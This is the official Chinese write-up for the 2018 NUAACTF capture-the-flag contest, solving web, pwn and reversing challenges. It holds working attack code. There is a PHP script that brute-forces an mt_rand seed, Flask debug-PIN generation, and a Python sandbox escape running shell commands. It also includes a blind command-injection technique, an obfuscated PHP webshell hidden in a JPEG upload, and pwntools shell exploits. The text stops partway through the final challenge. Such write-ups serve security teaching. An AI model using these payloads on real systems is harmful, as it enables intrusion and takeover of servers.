NUAACTF_2018 官方wp

2018南京航空航天大学第三届“补天杯”信息安全竞赛解题报告(2018NUAACTF Writeup)

Web

Web1 Asuri-Information-System

题目描述

1
2
3
4
5
http://ctf.asuri.org:8001
听说有五个很厉害的人,一个是admin,一个是admin1,一个是admin2,一个是admin3,一个是admin4。听说打败他们其中一个就可以拿到flag啦
flag格式为NUAACTF{.*}

信息收集

根据题目描述,我们要做的肯定就是要去登录admin[1-4] || admin了。

首先进入题目界面,发现题目功能很简单,首页只提供注册登录两个功能。

我们先随便登录注册一下,进去后发现有个重置密码的功能。

重置一下抓包看看。

然后真的发现自己邮箱里面多了一封重置密码的邮件。

扫目录可以得到www.zip,发现题目的所有基本源码。

思路

基本的信息如上,然后我们可以根据已有信息来看,从那个重置密码请求包来看,貌似我们可以控制重置用户的用户名。那我们是不是可以重置amdin的密码,通过什么方式登录上呢,而且那个请求包还有回显了一个int也比较奇怪,看起来像是var_dump()出来的数据。

通过大概的代码审计,题目用了在sql语句的地方预编译,所以没什么办法注入得到admin

查看handler源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
require "./config.php";
require "./email.php";
function generatePasswd(){
mt_srand((double) microtime() * 1000000);
var_dump(mt_rand());
return substr(md5(mt_rand()),0,6);
}
function changePasswd($username, $password){
$password = md5($password);
$stmt = $GLOBALS['dbh']->prepare("UPDATE users SET password = ? WHERE username = ?");
$stmt->bind_param('ss', $password, $username);
$stmt->execute();
if ($stmt->affected_rows === 1){
echo "<script>alert(\"Success!\");history.back(-1);</script>";
return;
}
else
echo "<script>alert(\"Error!\");history.back(-1);</script>";
$stmt->free_result();
$stmt->close();
}
function getEmail($username){
if ($username){
$stmt = $GLOBALS['dbh']->prepare("SELECT email From users where username = ?");
$stmt->bind_param('s', $username);
$stmt->bind_result($email);
$stmt->execute();
if($stmt->fetch()){
return $email;
}
else
return "error!";
$stmt->free_result();
$stmt->close();
}
else{
return "error!";
}
}
$username = isset($_POST['username']) ? trim($_POST['username']) : NULL;
$email = getEmail($username);
if ($email == "error!"){
echo "Error!";
die();
}
$passwd = generatePasswd();
if(sendMail($email,$passwd)){
changePasswd($username,$passwd);
}
else{
echo "<script>alert(\"Error! Check your Email address plz!\");history.back(-1);</script>";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Asuri-Team Managment System</title>
</head>
<body>
</body>

通过代码审计,我们可以看到传入的username到了getEmail这个函数,这个函数用了预编译,所以我们没什么办法注入。这个函数就是根据username返回对应email,通过generatePasswd()产生随机密码,通过sendMail()发送密码到邮箱,最后用changePasswd()来修改数据库中的密码。

整个逻辑基本清楚了,所以我们是可以通过传入一个username=admin来重置管理员的密码。但是怎么登录成admin呢,我们是不是可以通过爆破随机密码或者破解随机密码来登录呢。

我们重点看看generatePasswd()

1
2
3
4
5
function generatePasswd(){
mt_srand((double) microtime() * 1000000);
var_dump(mt_rand());
return substr(md5(mt_rand()),0,6);
}

我们可以看到,页面上的int(2055522123)即是var_dump(mt_rand());的显示结果。

可以看看

1
2
3
4
void mt_srand ([ int $seed ] )
用 seed 来给随机数发生器播种。 没有设定 seed 参数时,会被设为随时数。
Note: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。

然后随机数种子是(double) microtime() * 1000000

1
2
3
4
5
6
7
8
mixed microtime ([ bool $get_as_float ] )
microtime() 当前 Unix 时间戳以及微秒数。本函数仅在支持 gettimeofday() 系统调用的操作系统下可用。
如果调用时不带可选参数,本函数以 "msec sec" 的格式返回一个字符串,其中 sec 是自 Unix 纪元(0:00:00 January 1, 1970 GMT)起到现在的秒数,msec 是微秒部分。字符串的两部分都是以秒为单位返回的。
如果给出了 get_as_float 参数并且其值等价于 TRUE,microtime() 将返回一个浮点数。
Note: get_as_float 参数是 PHP 5.0.0 新加的。

所以这里microtime() * 1000000是不超过7位数的,而且第一次随机数我们已经得到了,我们可以通过爆破随机数种子来得到随机数。

贴一个自己写的php exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// echo ((double) microtime() * 1000000)."\n";
// mt_srand((double) microtime() * 1000000);
// var_dump(mt_rand());
// echo substr(md5(mt_rand()),0,6);
// int(1409622410)
// bc700b
$seed = 0;
for($i = 0;$i < 1000000; $i++){
mt_srand($i);
$str = mt_rand();
if($str === 1796651235){
$seed = $i;
}
}
echo $seed."\n";
mt_srand($seed);
mt_rand();
echo substr(md5(mt_rand()),0,6);

猜解得到密码登录就可以得到flag

这里避免给大家竞争随机…就给了5个amdin,其实应该注册一个就对应给一个admin,但是感觉5个应该差不多了…

Web2 男航理工大学选课系统

题目描述

1
2
3
4
5
http://ctf.asuri.org:8003
小火汁,听说你想选课?
flag格式为NUAACTF{.*}

信息收集

题目设置非常简单

就一个登录注册界面。然后给了一个www.zip的附件,放出了关键源码。

然后,随便点一个选课,就报错了。

再看看源码,其中在user.py中发现

1
2
3
4
5
6
7
@users.route('/asserts/<path:path>')
def static_handler(path):
filename = os.path.join(app.root_path,'asserts',path)
if os.path.isfile(filename):
return send_file(filename)
else:
abort(404)

解题

这个题熟悉flask的会发现,那个报错页面其实就是开启了debug的界面,我们可以利用pin码来认证debug界面进行命令执行。

而关于pin码,我看赛时很多队伍都采取爆破的方式,导致输入过多,就不能再输入了。就导致我赛时只能人肉运维重置web2

1
2
3
4
5
6
7
8
md5_list = [
'root', #当前用户,可通过读取/etc/passwd获取
'flask.app', #一般情况为固定值
'Flask', #一般情况为固定值
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc', #可通过debug错误页面获取
'2485377892354', #mac地址的十进制,通过读取/sys/class/net/eth0/address获取mac地址 如果不是映射端口 可以通过arp ip命令获取
'0c5b39a3-bba2-472c-a43d-8e013b2874e8' #机器名,通过读取/proc/sys/kernel/random/boot_id 或/etc/machine-id获取
]

生成pin码的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_pin(md5_list):
h = hashlib.md5()
for bit in md5_list:
if not bit:
continue
if isinstance(bit, unicode):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv

拿到pin码便可执行命令。

具体可以参考Flask debug pin安全问题

贴一下这题得到的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import hashlib
def get_pin(md5_list):
h = hashlib.md5()
for bit in md5_list:
if not bit:
continue
if isinstance(bit, unicode):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
name = get_name()
md5_list = [
'ctf',
'flask.app',
'Flask',
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc',
'2485378285570',
''
]
print get_pin(md5_list)

这里可能比较坑的是/usr/local/lib/python2.7/dist-packages/flask/app.pycmachine_id是空两处。不过通过几次尝试也都可以尝试出来。难度并不算大。

然后就是命令执行,一个简单没有任何过滤的Python沙盒,方法很多。

这里简单给个事例

1
2
3
4
5
[console ready]
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )
'APP\nflag\nrun.py\ntest.py\nwww.zip\n'
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat ./flag").read()' )
'NUAACTF{F14sssskkkrrr_D3Bug_n0t_S4f3}'

Web3 张哥的金牌之旅

题目描述

1
2
3
4
5
6
7
http://ctf.asuri.org:8003/
做完A+B你就可以拿金牌了。(你可能需要一个逆向哥哥来帮你
小水管服务器,为了顺畅做题请大家不要用扫描器,而且这题用不到扫描器!!!
flag格式为NUAACTF{.*}

信息收集

打开发现是个java框架。

提供了简单的登录注册。

然后发现只有A+B问题可以点

代码提交页面提供代码提交,查看最后一次提交的代码功能。

引用代码提示

1
请以代码文件为url,例如http://mysite.com/main.c,仅支持c,cpp,java,py,js,cs的提交

然后提交一个https://raw.githubusercontent.com/php/php-src/master/ext/zlib/zlib.c,发现返回代码过多,再找个几行代码的https://gitee.com/CheungSSH_OSC/CheungSSH/raw/master/bin/DataConf.py

返回提示成功,查看上一次提交代码,发现以源码方式返回。还有个下载代码的功能,得到一个文件名为用户名经过md5后的txt文件。

思路

既然引用代码处,可以引用http协议的url,那我们可以试试用file如何。

发现是forbidden,通过fuzz我们可以得到jar netdoc两个java SSRF支持的协议没有被ban,而且需要再最后加入?1.c来绕过后缀检测

然后查看最后一次代码提交,发现并没有什么改变。

试试netdoc,传入netdoc:///?1.c

发现可以得到回显

但是直接请求flag,发现被ban掉了,所以我们得另寻他路。

突破口

通过查看一系列文件,发现如果直接读class文件的话,直接展示出来了class二进制文件,那我们下载下来会不会也是class文件的形式呢

下载下来后,我们用file看一下,果然是个java class文件

JD-GUI打开得到源码

题目描述说需要逆向师傅其实指的就是这里需要逆向class文件,(其实也不需要…直接用JD-GUI直接就能看了…

这里省略了其他源码的审计。

然后看到貌似多出的这个User.class类,然后发现了比较敏感的readObject()函数,java反序列化漏洞特征,可能存在java反序列化漏洞

然后找到其利用的地方,发现在netdoc:///app/webapps/ROOT/WEB-INF/classes/org/nuaa/tomax/logindemo/controller/UserController.class调用了User类。

UserController.class的关键部分:

1
2
3
4
5
6
7
8
9
10
11
12
@PostMapping({"/record"})
public void record(long userId, HttpSession session, String cmd)
throws Exception
{
Timestamp timestamp = new Timestamp(System.currentTimeMillis());
UserEntity user = (UserEntity)session.getAttribute("user_" + userId);
if (cmd != null)
{
User mUsr = new User(user.getId(), user.getUsername(), cmd, timestamp);
SysUtil.recordCmd(mUsr);
}
}

在看到SysUtil.class:

发现竟然有部分貌似真的需要逆向,但是其实仔细往下看,利用点跟上面那段代码没太大关系。

看到recordCmd(),可以说是非常标准的java反序列化的代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void recordCmd(User user)
throws IOException, ClassNotFoundException
{
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(user);
os.close();
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
User outUsr = (User)ois.readObject();
ois.close();
}

接着我们回到User.class,很明显,这里可以控制传入cmd,我们再看看User.class的关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private static final String[] BLACKLIST = { "$", "{", "}", "`", "base64", "&", ";", "||", "%", "(", ")", "rm", "echo"};
public User(long id, String username, String cmd, Timestamp time)
{
this.id = id;
this.username = username;
this.cmd = cmd;
this.time = time;
}
private void readObject(ObjectInputStream in)
throws Exception
{
in.defaultReadObject();
if (checkCmd(this.cmd).booleanValue())
{
String cmd_pre = "sleep $(";
String cmd_suf = ")";
String exec = cmd_pre + this.cmd + cmd_suf;
String[] cmds = { SysUtil.asciiToString("47,98,105,110,47,98,97,115,104"), SysUtil.asciiToString("45,99"), exec };
SysUtil.execCmd(cmds);
}
}
public Boolean checkCmd(String cmd)
{
for (String symbol : BLACKLIST) {
if (cmd.contains(symbol)) {
return Boolean.valueOf(false);
}
}
return Boolean.valueOf(true);
}

cmds转换为ascii就是

1
String[] cmds = { "/bin/bash", "-c", exec };

exec就是传入的cmd,然而这里利用点比较尴尬,因为我们传入的代码是被exec是被sleep $()给包围起来的,而关键的一些绕过都进了黑名单

1
private static final String[] BLACKLIST = { "$", "{", "}", "`", "base64", "&", ";", "||", "%", "(", ")", "rm", "echo"};

这里我们可以使用命令执行盲注的形式进行对flag猜解。稍后我会详细写一篇文章讲解命令盲注的方式。

我们可以采用cat /flag | cut -c 1 | tr N 10这样的形式对flag进行猜解。

  • cat /flag读取/flag中的内容
  • cut -c 1截取第一个字符
  • tr N 1010来代替flag中的字母N

所以,通过把flag中的内容读出来之后,用字母代替进行sleep,如果猜解对的话,并且排除网络原因,页面会延缓5s才返回,所以我们可以利用这个特性把flag猜解出来。

其实这里设置得不太好,应该把flag改成全英文比较好一些得到flag。也可以用burp intruder来猜解。

Web4 Pentest

题目描述

1
2
3
I love Pentest!
做出来的师傅请不要搅屎。 http://ctf.asuri.org:8004

解题

首先通过扫目录扫出上传页面,然后利用上传处理的错误逻辑,上传带一句话的图片(图片会经过gd库解析),解析出错不会删除上传的文件(可以在 index 页面看到), 然后文件包含拿 shell, 得到 web 目录下的 Import_notes 文件,知道需要打登录内网 samba 拿 flag, 于是代理进内网。由于用了 disable_function , 通过下面的文章进行绕过

1
https://www.freebuf.com/articles/web/192052.html

samba 共享里面有一半 flag , 还需要利用漏洞打内网的另外一台 tomcat ,拿到 shell , 读取第二部分的 flag

具体利用步骤
通过扫目录扫到 upload.php , 可以上传图片,上传后会用 gd 对图片进行二次渲染, 由于代码逻辑不当,当渲染失败时图片依然会保存在服务器上,可以通过 index.php 看到引用的 url.

然后上传文件

1
2
3
4
5
6
7
8
import requests
session = requests.Session()
paramsPost = {"submit": "\xe4\xb8\x8a\xe4\xbc\xa0"}
paramsMultipart = [('upload_file', ('hac425.jpg', "\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00\x00\x00\x00\x00\x00\xff\xe10\xcaExif\x00\x00MM\x00*\x00\x00\x00\x08\x00\x04\x011\x00\x02\x00\x00\x00\x0b\x00\x00\x10J\x87i\x00\x04\x00\x00\x00\x01\x00\x00\x10V\x88%\x00\x04\x00\x00\x00\x01\x00\x00 \xa2\xea\x1c\x00\x07\x00\x00\x10\x0c\x00\x00\x00>\x00\x00\x00\x00\x1c\xea\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<?php \x24VsLC=create_function(str_rot13('\x24').chr(96600/840).str_rot13('b').str_rot13('z').chr(0346-0201),base64_decode('ZQ==').base64_decode('dg==').base64_decode('YQ==').chr(0247370/01432).str_rot13('(').chr(0x6204/0x2b9).base64_decode('cw==').base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ==').chr(0x13f-0x116).chr(0x397-0x35c));\x24VsLC(base64_decode('NDE3N'.'jc4O0'.'BldkF'.'sKCRf'.''.chr(0x3dc-0x387).str_rot13('R').chr(423-366).chr(0204170/01446).base64_decode('Vg==').''.''.chr(01157-01051).chr(0x10ca2/0x256).str_rot13('k').chr(0x217-0x1bf).chr(0x5fa5/0x127).''.'k7MTI'.'1MzAz'.'NDs='.''));?>", 'image/jpeg'))]
response = session.post("http://192.168.245.142:6655/upload.php",
data=paramsPost, files=paramsMultipart)

然后在利用 文件包含漏洞拿 shell, 拿到 shell 之后会发现一个重要的文件

文件里面有 samba 的账号密码。

1
机智的我把重要文件都丢内网 samba了, 这里备忘个账户/密码: hac425/123456

通过这个文件知道 flag 应该在内网的 samba 服务器, 于是上传 busybox+reGeorg ,分别用于查看 ip 和代理。

通过扫描可以知道开启 samba 的机器,然后密码登录拿 flag. 获得提示去扫描其他常见的服务, 80,8080 等,可以找到 tomcat , 于是此时可以尝试利用漏洞打。

Pwn

overflow

简单栈溢出,用了随机数模拟了canary,本地生成随机数即可。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#/usr/bin/env python
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary("libc.so.6")
p = process('./overflow')
ret = 0x80485BD
t = libc.time(0)
libc.srand(t)
random = libc.rand()
p.recvline()
payload = 'a'*0x20 + p32(random) + 'a'*0xc + p32(ret)
#gdb.attach(p)
p.sendline(payload)
print p.recvline()

kvm

简单的kvm,只需要在vm里面执行端口写操作即可。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#/usr/bin/env python
from pwn import *
p = process('./kvm')
p.recvuntil("execute: \n")
code = asm('''
movabs rax, 0x67616c66
push 4
pop rcx
mov edx, 0x100
OUT:
out dx, al
shr rax, 8
loop OUT
''', arch = 'amd64')
p.sendline(code)
p.recvuntil("execute again: \n")
#gdb.attach(p)
p.sendline(asm(shellcraft.amd64.linux.sh(), arch = 'amd64'))
p.interactive()

password_checker

snprintf 误用, 它返回的是格式化解析后形成的字符串的长度(及期望写入目标缓冲区的长度),而不是实际写入 目标缓冲区的内存长度。

1
2
3
4
5
6
int off = snprintf(buf, 0x100, "name:%s&", input);
...........................
...........................
...........................
// off 可能会比较大,出现越界写
off = snprintf(buf + off, 0x100 - off, "pwd:%s", input);

所以利用 snprintf 让 off 移动到返回地址的位置, 然后写返回地址为 getshell 函数的地址。

具体看 exp 和源码

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
binary_path = "../dist/pwn"
# p = process(binary_path)
p = remote("172.17.0.2", 20000)
p.recvuntil("welcome.....")
# 计算出需要输入的字符串长度,让 off + buf 能够写到返回地址
# 还要去掉 pwd: 这 4 个 字节
payload = "a" * (0x10c+4-4-2-4)
p.send(payload)
# gdb.attach(p,"""
# bp 0x0804873B
# c
# """)
# pause()
payload = p32(0x08048674)
p.sendline(payload)
p.interactive()

type_confusion

类型混淆,可以先释放一个 c1类的 obj, 然后分配一个 c2 类的 obj, 然后利用 see c1 obj 的功能调用虚函数,会调用 c2 的虚函数,c2 的相应虚函数的作用就是 system(“sh)

1
2
3
4
int c2::dump()
{
system("sh");
}

具体看 exp 和源码

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
binary_path = "../dist/pwn"
# p = process(binary_path)
p = remote("172.17.0.2", 20000)
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Your choice: ")
p.sendline("100")
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline("0")
p.interactive()

Rev

stupid_contract_challenge[rev]

简单solidity逆向,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.25;
contract stupidChallenge{
bytes32 seed = 0xaaa0adabb79fb8b9bca5a8938fa3a2b8415250476c705b525f5f565d5456124e;
function generateFlag() public returns(bytes){
bytes memory finalFlag = new bytes(seed.length);
uint i;
for(i = 0;i<seed.length/2;i++) {
finalFlag[i]=seed[i]^0xcc;
}
for(;i<seed.length;i++) {
finalFlag[i]=seed[i]^0x33;
}
return finalFlag;
}
}

直接把字节码扔 https://ethervm.io/decompile 即可

variant_of_cat

智能合约,整数下溢
先调用fightAsuriMonster使得攻击力下溢,再次调用fightBoss即可

STG TouHou

是一个彻头彻尾的车万游戏呢。

正常通关

通关游戏,会把flag打印在屏幕上

逆向分析

这个题目会告知大家这个程序叫做四圣龙神录,其实是可以从github上找到源码的。Rev的题目拿到了源码,那基本上就做出来了。当然源代码肯定没有flag相关的逻辑,可以结合源代码对程序进行审计。
首先逆向日常搜索flag字符串,会发现如下的函数:

1
2
3
4
5
6
7
8
9
10
void sub_4308D0()
{
int v0; // eax
if ( dword_D0CA74 == 1 )
{
v0 = sub_40E039(255, 255, 255);
sub_40D837(0, 40, v0, "Flag:%s", (unsigned int)&byte_D0CA78);
}
}

这个Flag很显然是刻意打印的,那么追踪一下这个byte_D0CA78

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed int __cdecl sub_430730(char a1)
{
signed int result; // eax
char v2; // STD7_1
signed int i; // [esp+E8h] [ebp-8h]
signed int j; // [esp+E8h] [ebp-8h]
for ( i = 0; i < 54; ++i )
byte_AEE308[i] -= a1;
for ( j = 0; ; j += 2 )
{
result = j;
if ( j >= 54 )
break;
v2 = 16 * trans2num(byte_AEE308[j]);
byte_D0CA78[j / 2] = trans2num(byte_AEE309[j]) + v2;
}
dword_D0CA74 = 1;
return result;
}

会找到这个函数,可以看到这里又存储了一个全局变量。这里的运算相当于是将一个数字分成了高4bit和低4bit然后进行合并处理,那么我们继续回溯,检查这个byte_AEE308的来历,会找到另一段的程序逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
signed int __cdecl sub_430850(char a1)
{
signed int result; // eax
signed int i; // [esp+DCh] [ebp-8h]
for ( i = 0; ; ++i )
{
result = i;
if ( i >= 54 )
break;
byte_AEE308[i] ^= a1;
}
return result;
}

跟踪调用关系,会发现这两个函数是由同一个函数调用的:

1
2
3
4
5
6
7
8
9
10
signed int __cdecl sub_430960(int a1, char a2)
{
signed int result; // eax
if ( a1 == 1 )
return sub_405696(a2);
if ( a1 == 2 )
result = sub_402A09(a2);
return result;
}

跟踪到外面,可以看到这样的逻辑

1
2
3
4
5
6
result = dword_D0C03C++ + 1;
if ( dword_D0C03C == 1 )
return sub_40A907(dword_D0C03C, 255);
if ( dword_D0C03C == 2 )
result = sub_40A907(dword_D0C03C, 19);
return result;

结合东方(游戏逻辑!)一般来说都是先1后2,所以是先调用前面那个逻辑后调用后面的逻辑。于是根据调用顺序,我们能够写出解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import codecs
enc = [182,135,181,183,182,187,182,187,182,185,181,184,182,182,181,138,183,181,182,183,185,187,182,185,185,188,182,136,185,185,183,134,185,186,183,134,184,181,185,185,182,135,183,185,185,188,184,138,185,184,182,134,181,136 ]
def dec_one(enc, num):
for i in range(len(enc)):
enc[i] ^= num
def dec_two(enc, num):
for i in range(len(enc)):
enc[i] -= num
tmp = 0
ans = ''.join(chr(c) for c in enc)
print(codecs.decode(ans,'hex'))
if __name__ == '__main__':
dec_one(enc, 255)
dec_two(enc, 19)
# nuaactf{We1c0m3_2_G3nS0K4o}

Middle

题目来源:因为难度定位是中等所以叫这个

初步准备

对于想要做这个题目的人来说,想必也是有了一定的基础。比如说首先要认得这个程序是一个ELF文件是Linux下的可执行文件之类的。(其实我第一次做的时候就不会认这个,滑稽)
那么逆向首先无非准备几个工具

  • 静态工具:IDA
  • 动态分析工具:gdb
  • 环境:Ubuntu

首先运行程序,发现程序两个行为:

  • 输入nuaactf{.+}格式的字符串
  • 如果输入完成,会让我们做一个C语言的题目

而且在运行的时候会发现,程序会在5秒之内结束。整个题目第一眼逻辑就有了

静态辅助

掏出静态分析工具,前面一大段其实是字符串在计算对齐的内容,不是特别重要。整体分析就会发现其实是一个给字符串置0的操作。之后的第一个函数sub_80485E4();在打印欢迎内容,之后会遇到函数:

1
2
3
4
5
6
if ( ptrace(0, 0, 1, 0) < 0 )
{
puts("Hey guys, what are you doing?!not cheat me~");
++dword_804A0D8;
exit(-1);
}

这个ptrace上网查就会发现,这个函数会阻止动态调试,这里可以选择将这个内容patch掉,将二进制内容改成90(nop),跳过这个内容。或者gdb调试直接跳过这个内容也可以,反正有办法都行。

之后来到这个地方的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
puts("Hey you, what's your password?");
puts("format:nuaactf{}, length:24");
for ( i = 0; i < 24; ++i )
__isoc99_scanf("%c", i + a1);
puts("em?ok, you can get in...");
for ( j = 0; ; ++j )
{
result = j;
if ( j >= 24 )
break;
*(_BYTE *)(j + a1) = ((int (__cdecl *)(_DWORD))loc_8048628)(*(unsigned __int8 *)(j + a1));
}

可以看到这里的内容就是让我们输入一段类似flag的内容,不过注意到,最后会对数组a1的每一个元素进行更新,但是似乎是一个没有被识别成函数的内容,跟进去查看,发现一些奇怪的指令阻止了程序的正常解析,不过仔细观察,似乎这个跳转根本就不会调用到这些神奇的指令,利用前面教过的patch方法,就能够修改掉程序内容,看到正确的程序内容:

1
2
3
4
v2 = 0;
for ( i = 0; i <= 7; ++i )
v2 |= (((signed int)a1 >> i) & 1) << *(_BYTE *)(i + 0x804A0C2);
return v2

这个巨大的数字其实是一个地址,里面内容为

1
2
3
4
5
6
7
8
.data:0804A0C2 db 3
.data:0804A0C3 db 7
.data:0804A0C4 db 2
.data:0804A0C5 db 1
.data:0804A0C6 db 6
.data:0804A0C7 db 4
.data:0804A0C8 db 5
.data:0804A0C9 db 0

理解一下,就相当于是一个数组的下标i在遍历。总的分析这个算法,其实就是将一个字节的每一bit的顺序重新映射到一个新的位置上具体对应关系为:

1
2
0 1 2 3 4 5 6 7
3 7 2 1 6 4 5 0

C语言课程

然后有一个让大家轻松一下的环节,让大家输入一个程序的运行结果。这个一看就是宏定义的错误实例,即会产生一个非预期的答案

1
1+3*1+4 = 8

不过其实整个考出来跑也是可以的~

最后的答案

最后一段逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
v3 = -66;
v4 = 116;
v5 = 48;
v6 = 48;
v7 = -80;
v8 = 124;
v9 = -68;
v10 = -14;
v11 = 42;
v12 = 48;
v13 = 48;
v14 = 16;
v15 = 98;
v16 = -74;
v17 = 116;
v18 = -26;
v19 = -92;
v20 = 88;
v21 = 124;
v22 = -26;
v23 = 80;
v24 = 124;
v25 = 16;
v26 = 118;
puts("Well,Well,You get here right?");
if ( !dword_804A0D8 || dword_804A0D0 )
{
puts("En?No No No you are not clever~");
}
else
{
puts("!!! Hey !!!");
puts("Do you remember your password?");
for ( i = 0; i <= 23; ++i )
{
*(_BYTE *)(a1 + i) = *(_BYTE *)(i + a1) ^ dword_804A0D4;
if ( *(&v3 + i) != *(_BYTE *)(i + a1) )
break;
}
if ( i == 24 )
puts("YOU ARE RIGHT!THE KEY IS FLAG!");
else
puts("O?Nearly");
}

可以看到离正确答案很近了~
不过会发现,不是那么容易能够进入这个匹配逻辑。仔细观察会发现,变量dword_804A0D8在一开始的ptrace处出现过,而dword_804A0D0则是会在一个handler里面出现,这个handler其实是注册的一个信号事件,5秒后自动跳转为1(这个地方其实是坑调试器用的,因为调试器可以选择忽略alarm但是此时变量依然会被置为1)不过一样可以用强硬的手段跳过这段逻辑。之后发现是一段关键逻辑比较

1
2
3
*(_BYTE *)(a1 + i) = *(_BYTE *)(i + a1) ^ dword_804A0D4;
if ( *(&v3 + i) != *(_BYTE *)(i + a1) )
break;

其中dword_804A0D4存放了C语言那段中,我们输入的正确答案。如果输入正确答案,则会通过与上面出现那一大段数字(其实是一个数组)进行异或,得到答案。于是总结下来,我们可以得到整体逻辑:

  • 首先对输入进行bit变化
  • 与C语言输入的正确答案进行异或
  • 与程序内部的数据比较

因此可以写出解密逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding:utf-8 -*-
bit_map = [7, 3, 2, 0, 5, 6, 4, 1]
check = [190, 116, 48, 48, 176, 124, 188, 242, 42, 48, 48, 16, 98, 182, 116, 230, 164, 88, 124, 230, 80, 124, 16, 118]
right_answer = 8
def bit_detrans(num):
tmp_u = 0
for i in range(8):
tmp = (num >> i) & 0x1
tmp_u |= (tmp << bit_map[i])
return tmp_u
tmp = [each ^ right_answer for each in check]
ans = [chr(bit_detrans(each)) for each in tmp]
print(''.join(ans)) # nuaactf{Haa!You_G0t_1t!}

BuggyProtect

初窥

拿到程序后,首先尝试运行,发现会返回一个选单
如果无法运行,需要自己安装一下openssl 1.1.x版本。

1
2
3
4
5
6
7
Welcome to my tiny software
1. register
2. cow say
3. check flag
4. trial license
0. exit
Your choice:

  1. 输入注册码
  2. You have no license to run this feature.
  3. You have no license to run this feature.
  4. 得到一个试用注册码

显而易见,我们需要把从4中拿到的注册码通过1注册一下。然后再尝试运行2, 3

1
2
3
4
5
6
7
8
9
10
11
12
Your choice: 2
